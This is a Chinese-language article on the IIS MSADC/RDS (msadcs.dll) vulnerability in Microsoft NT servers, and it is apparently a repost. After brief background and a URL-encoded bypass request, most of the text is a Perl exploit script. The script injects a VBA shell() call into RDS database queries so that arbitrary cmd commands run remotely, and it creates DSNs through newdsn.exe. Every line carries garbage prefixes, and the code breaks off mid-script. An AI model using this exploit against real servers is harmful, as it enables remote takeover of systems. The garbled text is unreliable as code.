IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
2>PH8 k#JQxLy# 涉及程序:
j 6)Y Microsoft NT server
bKbp?-] O&Z'r 描述:
nCxAQ|P? 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
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'1 详细:
?.bnIwQe 如果你没有时间读详细内容的话,就删除:
HgRwiIt c:\Program Files\Common Files\System\Msadc\msadcs.dll
gn1(4
o 有关的安全问题就没有了。
l=P'B
@, eC`pnE 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
ljJ>;g+ m
<k!^jp 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
RDQ^dui 关于利用ODBC远程漏洞的描述,请参看:
6f%DpJ:$U %i0\1hhV< http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @xWdO,# ,"?A2n-qO 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
w~\%vXla http://www.microsoft.com/security/bulletins/MS99-025faq.asp 9IZu$- QLq@u[A 这里不再论述。
$1Nd_pD= &jQ?v@|1c 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
rR{,)fX; &xSa7FY /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
pBJAaCGm 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
;3ft1 /CX VLl8~ SW?p?< #将下面这段保存为txt文件,然后: "perl -x 文件名"
E
l&h;N 9s$U%F6} #!perl
uOi&G:= #
`S/wJ'c # MSADC/RDS 'usage' (aka exploit) script
g@v
s*xE #
fP-|+TyO # by rain.forest.puppy
dE=Ue#1U@5 #
8HErE<_( # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Qo0H # beta test and find errors!
r0dDHj~F lX!`zy{3k use Socket; use Getopt::Std;
6j9)/ HP getopts("e:vd:h:XR", \%args);
U9d:@9Y }ZOFYu0f print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
@ GDX7TPV H=MCjh&$q if (!defined $args{h} && !defined $args{R}) {
=_TaA(79 print qq~
i8pU|VpA Usage: msadc.pl -h <host> { -d <delay> -X -v }
{U11^w1"3 -h <host> = host you want to scan (ip or domain)
b\55,La -d <seconds> = delay between calls, default 1 second
Jobiq]|> -X = dump Index Server path table, if available
U]4pA#*{| -v = verbose
v:_B kHN' -e = external dictionary file for step 5
l:(Rb-Wy pd@; b5T Or a -R will resume a command session
*TdnB'Gd <9A@`_';Aq ~; exit;}
Ka_S n ]Uc`J8p, $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
S 01wwZ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
\+PIe7f_ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
BN_7Ay/k if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
P>QpvSd_# $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
%"$@%"8;3 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
WOytxE -p,x&h,p if (!defined $args{R}){ $ret = &has_msadc;
b'@we0V@S die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
C*6S@4k IO$z%r7 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
./-JbW
. "cmd /c ";
}ynT2a#LU' $in=<STDIN>; chomp $in;
E8}+k o $command="cmd /c " . $in ;
b!>\2DlyJ .w?
.ib( if (defined $args{R}) {&load; exit;}
<eN R8(P 2ef;NC.&n print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
[bQj,PZ& &try_btcustmr;
in%;Eqk PH4%R]{8{ print "\nStep 2: Trying to make our own DSN...";
S[:xqzyDg &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
irBDGT~ Ze^jG-SL$9 print "\nStep 3: Trying known DSNs...";
q }C+tn"\ &known_dsn;
rw%l*xgX !$qKb_#nC print "\nStep 4: Trying known .mdbs...";
i, n D5@# &known_mdb;
]rBM5~ VDEv>u4 if (defined $args{e}){
}OShT+xeX print "\nStep 5: Trying dictionary of DSN names...";
j8 ,n7!G &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
CZ{k@z`r ` (4pu6uT print "Sorry Charley...maybe next time?\n";
P* #8ZMA< exit;
J]/}ojW3 <&!]K?Q9i ##############################################################################
XAOak$(j @Cq? :o< sub sendraw { # ripped and modded from whisker
L):U"M>]= sleep($delay); # it's a DoS on the server! At least on mine...
4g
_"ku my ($pstr)=@_;
Lm)\Z P+W socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
7YIK9edP die("Socket problems\n");
D@YP7 if(connect(S,pack "SnA4x8",2,80,$target)){
Yn51U6_S select(S); $|=1;
&%aXR A#+ print $pstr; my @in=<S>;
8%{q%+ select(STDOUT); close(S);
!UBO_X%dz return @in;
V1=*z } else { die("Can't connect...\n"); }}
dx_6X!=.J Bo_ym36N ##############################################################################
ZDLMMXx> Bd0eC#UGkQ sub make_header { # make the HTTP request
;^k7zNf- my $msadc=<<EOT
o,Z{ w" POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
OJ>.-" User-Agent: ACTIVEDATA
Bn wzcl Host: $ip
ik1tidw Content-Length: $clen
n(Y%Vmy Connection: Keep-Alive
h5%|meZQb B33$ u3d ADCClientVersion:01.06
*tQk;'/A] Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
!%L,*' wNCCH55Pt --!ADM!ROX!YOUR!WORLD!
v@
C,RP9 Content-Type: application/x-varg
]n1dp2aH Content-Length: $reqlen
US&B!Q:v 5CYo7mJ6+ EOT
>O9sk ; $msadc=~s/\n/\r\n/g;
&rq{v!=7 return $msadc;}
]L_w$ev' pR os{Uq" ##############################################################################
`|e!Kq?#Q #~ v4caNx sub make_req { # make the RDS request
VAQ)Hc] my ($switch, $p1, $p2)=@_;
[.yJV` my $req=""; my $t1, $t2, $query, $dsn;
3SG?W_
*U7%|wd if ($switch==1){ # this is the btcustmr.mdb query
$+=
<(* $query="Select * from Customers where City=" . make_shell();
T8J4C=?/ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
haSM=;uPM $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Gy29MUF LC69td& elsif ($switch==2){ # this is general make table query
w:=V@-S8 $query="create table AZZ (B int, C varchar(10))";
(-yl|NFBw $dsn="$p1";}
[W,|kDK GUp;AoQ elsif ($switch==3){ # this is general exploit table query
HZJL/=; $query="select * from AZZ where C=" . make_shell();
=C7
khE $dsn="$p1";}
pgc3jP! &K%aw elsif ($switch==4){ # attempt to hork file info from index server
qc-,+sn( $query="select path from scope()";
~4 #B'Gy[ $dsn="Provider=MSIDXS;";}
Wsz0yHD[`
.jg0a elsif ($switch==5){ # bad query
t=wXTK5" $query="select";
D>ef $dsn="$p1";}
OYwGz /="HqBI#i $t1= make_unicode($query);
(RL>Hn;. $t2= make_unicode($dsn);
W.}].7}h $req = "\x02\x00\x03\x00";
9t:] $req.= "\x08\x00" . pack ("S1", length($t1));
y2Bh?>pg $req.= "\x00\x00" . $t1 ;
:KE/!]z $req.= "\x08\x00" . pack ("S1", length($t2));
Pi6C/$
K $req.= "\x00\x00" . $t2 ;
5>0.NiXGf' $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
_kraMQ> return $req;}
"PWl4a& nS.G~c| ##############################################################################
/MTf0^9 Fe=8O ^\ sub make_shell { # this makes the shell() statement
9M$/=>^
Z return "'|shell(\"$command\")|'";}
@s*,xHE 3}Xc71|v ##############################################################################
c$M%G)P /Bv#) -5 sub make_unicode { # quick little function to convert to unicode
ETw]!
br my ($in)=@_; my $out;
t%0?N<9YkU for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
I*)VZW return $out;}
F4I6P #;r]/)> ##############################################################################
X)Gp7k1w Ww9;UP'G sub rdo_success { # checks for RDO return success (this is kludge)
j
BS4vvX? my (@in) = @_; my $base=content_start(@in);
%e%7oqR? if($in[$base]=~/multipart\/mixed/){
o+?@5zw-& return 1 if( $in[$base+10]=~/^\x09\x00/ );}
htJuGfDx1 return 0;}
4jwu'7Q =7/-i ##############################################################################
u=K2Q4 ~UMOT!4}3 sub make_dsn { # this makes a DSN for us
440FhDMj my @drives=("c","d","e","f");
pWaPC/,g print "\nMaking DSN: ";
/p`&;/V| foreach $drive (@drives) {
Fz"ff4Bx [ print "$drive: ";
f05d ; my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
#gZ|T
M/h "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
~9M!)\~ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
;IP~Tb]& $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
[~%`N*G return 0 if $2 eq "404"; # not found/doesn't exist
&w\I<J`T if($2 eq "200") {
yXfMzG foreach $line (@results) {
o#hI5 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
KX+ey8@[ } return 0;}
H#(<-)j0_ ?-~I<f]_ ##############################################################################
D guB !q/5yEJ>h sub verify_exists {
WStnzVe my ($page)=@_;
T 1Cs>#) my @results=sendraw("GET $page HTTP/1.0\n\n");
'1+.t$"/tU return $results[0];}
"Ai6<